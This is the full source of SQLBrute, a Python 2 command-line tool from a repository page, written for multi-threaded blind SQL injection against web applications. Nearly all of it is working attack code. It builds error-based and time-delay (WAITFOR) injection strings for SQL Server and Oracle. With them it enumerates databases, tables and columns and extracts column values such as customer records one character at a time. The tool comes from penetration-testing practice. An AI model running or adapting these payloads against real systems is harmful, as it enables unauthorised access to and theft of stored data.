Permalink
Find file
Fetching contributors…
Cannot retrieve contributors at this time
696 lines (590 sloc) 30.8 KB
#!/bin/sh
''':'
exec python -O -u "$0" ${1+"$@"}
' '''
# SQLBrute - multi threaded blind SQL injection bruteforcer
# By Justin Clarke, justin at gdssecurity com
#
# This tool is released under the Reciprocal Public License 1.5
# This open source license is available for review at
# http://www.opensource.org/licenses/rpl1.5.txt
#
# Algorithm inspired by the original by Kerry Rollins
#
# This version does regex based (error/no error) bruteforcing and waitfor delay testing
#
# There is a page documenting how to use this tool at:
# http://www.justinclarke.com/2006/03/using-sqlbrute-to-brute-force-data-from.html
#
# Also, a compiled version for Windows (using py2exe) is available if you're having
# problems with SQLBrute (or ensure you are using Python 2.5). It's available at:
# http://www.gdssecurity.com/l/t.php
#
Version = "1.0"
# todo
# The (hopefully) final python version - next version is going to be a .NET rewrite
import threading
import Queue
import sys
import getopt
import string
import urllib
import cgi
import time
import re
import urllib2
# Set some globals
sslSupport = True
# see if SSL support is compiled in for urllib2
try:
import _ssl
except ImportError:
print "SSL support not installed - https will not be available"
sslSupport = False
#
# class to manage the threading. No actual stuff is done in here - we pass function names and args
#
# Adapted from Python in a Nutshell (excellent book)
#
class Worker(threading.Thread): # inherits the Thread class
requestID = 0 # each thread has a request ID so we can match responses
# constructor - takes two queues as parameters (overrides threading constructor)
def __init__(self, requestsQueue, resultsQueue, threadNumber, **kwds):
threading.Thread.__init__(self, **kwds)
self.setDaemon(1) # run in background
self.workRequestQueue = requestsQueue
self.resultQueue = resultsQueue
self.setName(threadNumber)
self.start() # start the thread
# call the function here - pass in the function and parameters
def performWork(self, callable, *args, **kwds):
Worker.requestID += 1
self.workRequestQueue.put((Worker.requestID, callable, args, kwds))
return Worker.requestID
def run(self): # override run
while 1:
requestID, callable, args, kwds = self.workRequestQueue.get()
self.resultQueue.put((requestID, callable(*args+(int(self.getName()),), **kwds)))
class sqlbrute:
# User variables - change if you want
num = 5 # default number of worker threads
targeturl = ""
cookie = ""
verb = ""
verbose = 1
postdata = ""
table = ""
cols = ""
headers = [["User-Agent","Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)"]]
wherecol = ""
whereval = ""
dbenum = False # default to enumerating tables from current database
enumtype = "" # by default, tables will be enumerated from current database
dbtype = "sqlserver"
errorregex = ""
targeturl = ""
timetrack = time.time()
timeout = 60 # timeout to wait for responses before exiting tool
database = "" # database to use (instead of default)
andor = " OR " # default to "or" mode. either "or" or "and"
# specifies this is going to be select * from foo where 1=2 _and_ <exploit string>
method = "error" # method of testing - error or time based
outputfile = ""
if sys.platform == "win32": # timing is unreliable in python.org win32 version. I'd use linux for now
waitfor = 10
else:
waitfor = 7
if sys.platform == "win32":
waitres = 5 # time.time() is hideously unreliable in windows
else:
waitres = 5
tablesource = "sysobjects" # name of source to initially query
namecol = "name" # column used for the database name
substrfn = "SUBSTRING" # substring for SQL, substr for oracle
reqcounter = 0 # number of test requests received
testcounter = 0 # counter to track that requests have passed and failed appropriately
testvar = 0
requestsQueue = Queue.Queue()
resultsQueue = Queue.Queue()
# add any additional characters you need matched to this list
matches = ["e","t","a","o","i","n","s","r","h","l","d","u","c","f","m","w","y","g","p","b","v","k","x","j","q","z","0","1","2","3","4","5","6","7","8","9","-",".","[_]","+","#","@","$"]
def usage(self):
print """
___ _____ __ ____ ____ __ __ ____ ____
/ __)( _ )( ) ( _ \( _ \( )( )(_ _)( ___)
\__ \ )(_)( )(__ ) _ < ) / )(__)( )( )__)
(___/(___/\\\\(____)(____/(_)\_)(______) (__) (____)
"""
print "v.%s" % Version
print """
Usage: %s options url
[--help|-h] - this help
[--verbose|-v] - verbose mode
[--server|-d oracle|sqlserver] - type of database server (default MS SQL Server)
[--error|-e regex] - regex to recognize error page (error testing only)
[--threads|-s number] - number of threads (default 5)
[--cookie|-k string] - cookies needed
[--time|-n] - force time delay (waitfor) testing
[--data|-p string] - POST data
[--database|-f database] - database to enumerate data from (SQL Server)
[--table|-t table] - table to extract data from
[--column|-c column] - column to extract data from
[--where|-w column=data] - restrict data returned to rows where column "column" matches "data"
[--header|-x header::val] - header to add to the request (i.e. Referer::http://foobar/blah.asp)
[--output|-o file] - file to send output to
Note: exploit will go on the end of the query or post data. This must be correctly formatted for a SQL subquery to be appended.
""" % sys.argv[0]
print '''e.g. %s --data "searchtype=state&state=1'" --error "NO RESULTS" --database webapp --table customer --column custnum --where password=password http://myapp/locator.asp''' % sys.argv[0]
# buyer beware if you change anything below - execution starts here
def main(self, argv=None):
if argv is None:
argv = sys.argv
try:
try:
opts, args = getopt.getopt(argv[1:], "hvs:k:f:np:x:d:t:c:w:e:o:", \
["help","verbose","server=","header=","error=","threads=","cookie=","database=","time","data=","table=","column=","where=","output="])
if len(args) <> 1: # 1 arg is the URL
print "Args <> 1"
raise getopt.error
except:
raise getopt.error
self.targeturl = args
if sslSupport == False and re.search(r'https://', self.targeturl):
print "You don't seem to have SSL support installed, so no https URLs for you"
return 1
for o,a in opts:
if o in ("-v", "--verbose"):
self.verbose += 1
if o in ("-x", "--header"):
self.headers += [a.split("::",1)]
if o in ("-k", "--cookie"):
self.cookie = a
if o in ("-h", "--help"):
self.usage()
return 1
if o in ("-p", "--data"):
self.postdata = a
self.verb = "POST"
if o in ("-n", "--time"):
self.method = "time"
if o in ("-s", "--threads"):
self.num = int(a)
if self.num < 1:
print "Threads must be at least 1"
return 1
if o in ("-d", "--server"):
if a == "oracle": self.dbtype = a
if a == "sqlserver": self.dbtype = a
if o in ("-t", "--table"):
self.table = a
if o in ("-c","--column"):
self.cols = a
if o in ("-w", "--where"):
temp = a.split("=",1)
self.wherecol = temp[0]
self.whereval = temp[1]
if o in ("-e", "--error"):
self.errorregex = a
self.method = "error"
if o in ("-f", "--database"):
self.database = a
if o in ("-o", "--output"):
self.outputfile = a
if self.cols<>"":
if self.table=="":
print "If requesting column data, you must specify table"
return 1
if not self.errorregex:
self.errorregex = r"(error|could not process)"
if not self.verb:
self.verb = "GET"
if (self.verb == "POST" and not self.postdata):
print "Specify some POST data"
return 1
if self.enumtype=="":
if self.table=="" and self.cols=="":
if self.dbtype == "sqlserver" and not self.database:
self.enumtype="database"
else:
self.enumtype="table"
else:
if self.table<>"" and self.cols=="":
self.enumtype="column"
else:
self.enumtype="data"
if self.dbtype=="oracle":
self.substrfn = "SUBSTR"
self.tablesource = "USER_TABLES"
self.namecol = "TABLE_NAME"
if self.verbose:
print "Database type: %s" % self.dbtype
print "Table: %s" % self.table
print "Columns: ", self.cols
print "Enumeration mode: %s" % self.enumtype
print "Threads: %d" % self.num
if self.database and self.dbtype=="oracle":
print "Database specification is not valid for Oracle"
return 1
if self.database != "": # add .. for between database and table
self.database += ".."
except:
print "Incorrect options usage"
self.usage()
return 1
# create worker classes to assign work to later
for i in range(self.num):
self.worker = Worker(self.requestsQueue, self.resultsQueue, i)
# keep track of what we send off to the queues
self.workRequests = {}
if self.verbose:
print "Testing the application to ensure your options work\n"
if self.method == "error":
self.testvar = self.testexploiterror()
else:
self.testvar = self.testexploittime()
if self.testvar==1:
print """
To troubleshoot:
1) try using -v to see that the queries are correctly formatted
2) try using -vv to get the responses printed to the screen
3) fix your broken url/post data
4) check the error value you are using
5) you've specified the correct database type haven't you?"""
return(1)
print "This program will currently exit " + str(self.timeout) + " seconds after the last response comes in."
for i in self.matches:
if self.method == "error":
self.gentesterror(i)
else:
self.gentesttime(i)
self.showResults()
def postReformat(self, postdata):
return urllib.urlencode(cgi.parse_qsl(postdata))
def querystringReformat(self, qsdata):
temp = qsdata.split("?")
if len(temp) == 2:
return temp[0] + "?" + urllib.urlencode(cgi.parse_qsl(temp[1]))
else:
return qsdata
def doRequest(self, expressionString, exploitdata, match, type, threadName):
while True:
if self.verb == "GET":
req = urllib2.Request(self.querystringReformat(expressionString))
else:
req = urllib2.Request(self.querystringReformat(expressionString),
self.postReformat(exploitdata))
if self.cookie<>"":
req.add_header("Cookie",self.cookie)
if self.headers<>[[]]:
for i in self.headers:
req.add_header(i[0],i[1])
try:
starttime = time.time() # get time at start of request
resp = urllib2.urlopen(req)
except urllib2.HTTPError,err: # catch an HTTP 500 error or similar here
return err.read(), match, type, starttime, time.time()
except:
import traceback
traceback.print_exc(file=sys.stderr)
sys.stderr.flush()
print "Unexpected error on: %s %s - Retrying in 5 seconds" % (expressionString,exploitdata)
time.sleep(5)
else:
return resp.read(), match, type, starttime, time.time()
def testexploiterror(self):
if self.dbtype=="sqlserver":
positivestring = self.andor + "exists (select * from master..sysdatabases)--"
negativestring = self.andor + "not exists (select * from master..sysdatabases)--"
if self.dbtype=="oracle":
positivestring = self.andor + "exists (select * from USER_TABLES)--"
negativestring = self.andor + "not exists (select * from USER_TABLES)--"
self.genreq(positivestring, "", False)
self.genreq(negativestring, "", False)
while self.reqcounter != 2:
try:
id, results = self.resultsQueue.get_nowait()
except Queue.Empty:
if (time.time() - self.timetrack) > self.timeout: # if its been > (timeout) seconds since last successful resp
print "Timed out accessing application\n"
return(1)
else:
continue
self.timetrack = time.time() # update record of last successful response
self.reqcounter += 1 # update number of requests received
if self.verbose>1:
print 'Result %d: -> %s' % (id, urllib.unquote(self.workRequests[id]))
print 'Response: %s' % results[0]
print 'Results: %s, %s' % (results[1], results[2])
if not re.search(self.errorregex,results[0]) : # no error returned
self.testcounter += 1 # increment counter 1 if no error returned
if self.verbose>1:
print "No Error"
else: # error returned
self.testcounter += 2 # increment counter 2 is error returned
if self.verbose>1:
print "Error"
if self.testcounter == 3: # one failed, one passed request (success!)
if self.verbose:
print "Exploit and parameters appear to work\n"
return(0)
else: # failed :-(
if self.andor == " OR ": # if we were using or, try changing to AND
if self.verbose:
print "OR doesn't appear to work - trying AND"
self.andor = " AND "
self.reqcounter = 0
self.testcounter = 0
return (self.testexploiterror())
else:
print "User input exploit and parameters do not appear to work for error testing - trying time testing\n"
return(self.testexploittime())
def testexploittime(self):
teststring = "%3Bwaitfor delay '0:0:" + str(self.waitfor) + "'--"
self.genreq(teststring, "", False)
waiting = True
while waiting:
try:
id, results = self.resultsQueue.get_nowait()
except Queue.Empty:
continue
waiting = False
if self.verbose>1:
print 'Result %d: -> %s' % (id, urllib.unquote(self.workRequests[id]))
print 'Response: %s' % results[0]
print 'Start time: %s' % results[3]
print 'Finish time: %s' % results[4]
if results[4]-results[3] > (self.waitfor-self.waitres): # time testing worked
self.method = "time"
elapsed = results[4] - results[3]
if elapsed > (self.waitfor * 2): # slow app
self.timeout *= (elapsed/self.waitfor)
if self.verbose:
print "Exploit and parameters appear to work for time testing\n"
return(0)
else: # failed :-(
print "User input exploit and parameters do not appear to work for time testing\n"
return(1)
# generate checks - these get multithreaded on the queue
def genreq(self, request, match, type):
if self.verb == "GET": # standard GET request- exploit querystring
expressionString = self.targeturl[0] + request
exploitdata=""
elif (self.verb == "GET" and self.postdata): # post request, but exploit querystring
expressionString = self.targeturl[0] + request
exploitdata = self.postdata
else:
expressionString = self.targeturl[0] # standard post request, exploit post data
exploitdata = self.postdata + request
id = self.worker.performWork(self.doRequest, expressionString, exploitdata, match, type)
if self.verb == "GET":
self.workRequests[id] = expressionString
else:
self.workRequests[id] = exploitdata
# handle underscores
def unquote(self, s):
return re.sub(r'\[\_\]','_',s)
# generate the testing string as a series of CHAR()+CHAR or CONCAT(CHR(),CHR()) strings
def genchars(self, s):
t = self.unquote(s)
foo = len(t)
if self.dbtype=="oracle": # use concat statements for oracle
if foo==1: # one character - no concat
bar = "CHR("+str(ord(t[0].upper()))+")"
else: # generate one concat statement
if foo==2:
bar = "CONCAT(CHR("+str(ord(t[0].upper()))+"),CHR("+str(ord(t[1].upper()))+"))"
else: # generate mutiple statements
bar = ""
for i in range((foo-1)):
bar += "CONCAT(CHR("+str(ord(t[i].upper()))+"),"
bar += "CHR("+str(ord(t[foo-1].upper()))+")"
for i in range(foo-1):
bar += ")"
else: # sql server, so use + signs for concatentation
if foo==1: # one char
bar = "CHAR("+str(ord(t[0].upper()))+")"
else: # generate CHAR()+CHAR() statements
bar = ""
for i in range((foo-1)):
bar += "CHAR("+str(ord(t[i].upper()))+")%2B"
bar += "CHAR("+str(ord(t[foo-1].upper()))+")"
return bar
# generate the guess cases - error
def gentesterror(self, s):
foo = ""
if self.dbtype == "sqlserver":
foo = "xtype='u' and "
# SQL injection constructors - these assume we can just add these onto the end of the URL or post data
if self.enumtype=="database": # sql server only
pretable = self.andor + "exists (select * from master..sysdatabases where " + self.substrfn + "(UPPER(" + self.namecol + "),1,"
midtable = ")="
posttable = ")--"
if self.enumtype=="table":
pretable = self.andor + "exists (select * from " + self.database + self.tablesource + " where " + foo + self.substrfn + "(UPPER(" + self.namecol + "),1,"
midtable = ")="
posttable = ")--"
if self.enumtype=="column":
if self.dbtype=="sqlserver":
pretable = self.andor + "exists (select * from " + self.database + "syscolumns where id = object_id('" + self.database + self.table + "') and " + self.substrfn + "(UPPER(" + self.namecol + "),1,"
midtable = ")="
posttable = ")--"
else:
pretable = self.andor + "exists (select * from ALL_TAB_COLUMNS where TABLE_NAME=UPPER('" + self.table + "') and " + self.substrfn + "(UPPER(COLUMN_NAME),1,"
midtable = ")="
posttable = ")--"
if self.enumtype=="data":
if self.dbtype=="sqlserver":
if self.wherecol == "": # no where clause supplied
pretable = self.andor + "exists (select * from " + self.database + self.table + " where " + self.substrfn + "(UPPER(convert(varchar," + self.cols + ",2)),1,"
else: # where clause supplied
pretable = self.andor + "exists (select * from " + self.database + self.table + " where " + self.wherecol + "='" + self.whereval + "' and " + self.substrfn + "(UPPER(convert(varchar," + self.cols + ",2)),1,"
midtable = ")="
posttable = ")--"
else: # oracle
if self.wherecol == "": # no where clause supplied
pretable = self.andor + "exists (select * from " + self.table + " where " + self.substrfn + "(UPPER(TO_CHAR(" + self.cols + ")),1,"
else: # where clause supplied
pretable = self.andor + "exists (select * from " + self.table + " where " + self.wherecol + "='" + self.whereval + "' and " + self.substrfn + "(UPPER(TO_CHAR(" + self.cols + ")),1,"
midtable = ")="
posttable = ")--"
teststring = self.genchars(s)
self.genreq(pretable + str(len(self.unquote(s))) + midtable + teststring + posttable, s, True)
# generate test cases - time
def gentesttime(self, s):
prewaitforlike = "%3Bif EXISTS (select name from master..sysdatabases where name like '"
postwaitfor = "%') waitfor delay '0:0:" + str(self.waitfor) + "'--"
predblike = "%3Bif EXISTS (select name from " + self.database + "sysobjects where xtype = 'u' and name like '"
pretablike = "%3Bif EXISTS (select name from " + self.database + "syscolumns where id in (select id from " + self.database + "sysobjects where name = '" + self.table + "') and name like '"
if self.whereval=="": # enumerating values in a specific column
predatalike = "%3Bif EXISTS (select * from " + self.database + self.table + " where CONVERT(varchar," + self.cols + ",2) like '"
else:
prejoinlike = "%3Bif EXISTS (select * from " + self.database + self.table + " where CONVERT(varchar," + self.wherecol + ",2) = '" + self.whereval + "' AND CONVERT(varchar," + self.cols + ",2) like '"
if self.enumtype=="database":
self.genreq(prewaitforlike + s + postwaitfor, s, True)
if self.enumtype=="table":
self.genreq(predblike + s + postwaitfor, s, True)
if self.enumtype=="column":
self.genreq(pretablike + s + postwaitfor, s, True)
if self.enumtype=="data":
if self.whereval=="":
self.genreq(predatalike + s + postwaitfor,s,True)
else:
self.genreq(prejoinlike + s + postwaitfor,s,True)
def checkmatchtime(self, s):
prewaitforequals = "%3Bif EXISTS (select name from master..sysdatabases where name = '"
postwaitforequals = "') waitfor delay '0:0:" + str(self.waitfor) + "'--"
predbequals = "%3Bif EXISTS (select name from " + self.database + "sysobjects where xtype = 'u' and name = '"
pretabequals = "%3Bif EXISTS (select name from " + self.database + "syscolumns where id in (select id from " + self.database + "sysobjects where name = '" + self.table + "') and name = '"
if self.whereval=="": # enumerating values in a specific column
predataequals = "%3Bif EXISTS (select * from " + self.database + self.table + " where CONVERT(varchar," + self.cols + ",2) = '"
else:
prejoinequals = "%3Bif EXISTS (select * from " + self.database + self.table + " where CONVERT(varchar," + self.wherecol + ",2) = '" + self.whereval + "' AND CONVERT(varchar, " + self.cols + ",2) = '"
if self.enumtype=="database":
self.genreq(prewaitforequals + self.unquote(s) + postwaitforequals, s, False)
if self.enumtype=="table":
self.genreq(predbequals + self.unquote(s) + postwaitforequals, s, False)
if self.enumtype=="column":
self.genreq(pretabequals + self.unquote(s) + postwaitforequals, s, False)
if self.enumtype=="data":
if self.whereval=="":
self.genreq(predataequals + self.unquote(s) + postwaitforequals, s, False)
else:
self.genreq(prejoinequals + self.unquote(s) + postwaitforequals, s, False)
# generate check for whether we have an exact match (error testing)
def checkmatcherror(self, s):
foo = ""
if self.dbtype == "sqlserver":
foo = "xtype='u' and "
# SQL injection constructors - these assume we can just add these onto the end of the URL or post data
if self.enumtype=="database": # only valid for sql server
pretable = self.andor + "exists (select * from master..sysdatabases where UPPER(" + self.namecol + ")="
posttable = ")--"
if self.enumtype=="table":
pretable = self.andor + "exists (select * from " + self.database + self.tablesource + " where UPPER(" + self.namecol +")="
posttable = " )--"
if self.enumtype=="column":
if self.dbtype=="sqlserver":
pretable = self.andor + "exists (select * from " + self.database + "syscolumns where id = object_id(" + self.genchars(self.database + self.table) + ") and UPPER(" + self.namecol + ")="
posttable = ")--"
else:
pretable = self.andor + "exists (select * from ALL_TAB_COLUMNS where TABLE_NAME=UPPER(" + self.genchars(self.table) + ") and UPPER(COLUMN_NAME)="
posttable = ")--"
if self.enumtype=="data":
if self.dbtype=="sqlserver":
if self.wherecol == "": # no where clause supplied
pretable = self.andor + "exists (select * from " + self.database + self.table + " where UPPER(convert(varchar," + self.cols + ",2))="
else: # where clause supplied
pretable = self.andor + "exists (select * from " + self.database + self.table + " where " + self.wherecol + "=" + self.genchars(self.whereval) + " and UPPER(convert(varchar," + self.cols + ",2))="
posttable = ")--"
else: # oracle
if self.wherecol == "": # no where clause supplied
pretable = self.andor + "exists (select * from " + self.table + " where UPPER(TO_CHAR(" + self.cols + "))="
else: # where clause supplied
pretable = self.andor + "exists (select * from " + self.table + " where " + self.wherecol + "=" + self.genchars(self.whereval) + " and UPPER(TO_CHAR(" + self.cols + "))="
midtable = ")="
posttable = ")--"
teststring = self.genchars(s)
self.genreq(pretable + teststring + posttable, s, False)
# used to check results and exact checks
def showResults(self):
self.timetrack = time.time()
while True:
try:
id, results = self.resultsQueue.get_nowait()
except Queue.Empty:
if (time.time() - self.timetrack) > self.timeout: # if its been > (timeout) seconds since last successful resp
break
else:
continue
self.timetrack = time.time() # update record of last successful response
if self.verbose>1:
print 'Result %d: -> %s' % (id, urllib.unquote(self.workRequests[id]))
print 'Results: %s, %s' % (results[1], results[2])
print 'Start time: %s' % results[3]
print 'Finish time: %s' % results[4]
if self.verbose>2:
print 'Response: %s' % results[0]
if self.method == "error": # if using error testing
if not re.search(self.errorregex,results[0]) : # no error returned
if self.verbose > 1:
print 'No error'
if results[2]: # if a guess match test
if self.verbose:
print "%s" % self.unquote(results[1])
self.checkmatcherror(results[1])
else:
print "Found: %s" % self.unquote(results[1])
for i in self.matches:
self.gentesterror(results[1]+i)
if self.outputfile != "":
outputhandle = file(self.outputfile, 'a', 0)
outputhandle.write(self.unquote(results[1])+"\r\n")
outputhandle.close()
else: # no match
if self.verbose > 1:
print 'Error detected'
if not results[2]: # if was an exact match test (and failed) generate more
for i in self.matches:
self.gentesterror(results[1]+i)
else: # if time based testing
if results[4]-results[3] > (self.waitfor-self.waitres): # we had a match
if results[2]: # guess match test
if self.verbose:
print "%s" % self.unquote(results[1])
self.checkmatchtime(results[1])
else: # exact match test
print "Found: %s" % self.unquote(results[1])
for i in self.matches:
self.gentesttime(results[1]+i)
if self.outputfile != "":
outputhandle = file(self.outputfile, 'a', 0)
outputhandle.write(self.unquote(results[1])+"\r\n")
outputhandle.close()
else: # no match
if not results[2]: # if it was an exact match condition (and failed) - iterate further
for i in self.matches:
self.gentesttime(results[1]+i)
# main called here
if __name__ == "__main__":
instance = sqlbrute()
sys.exit(instance.main())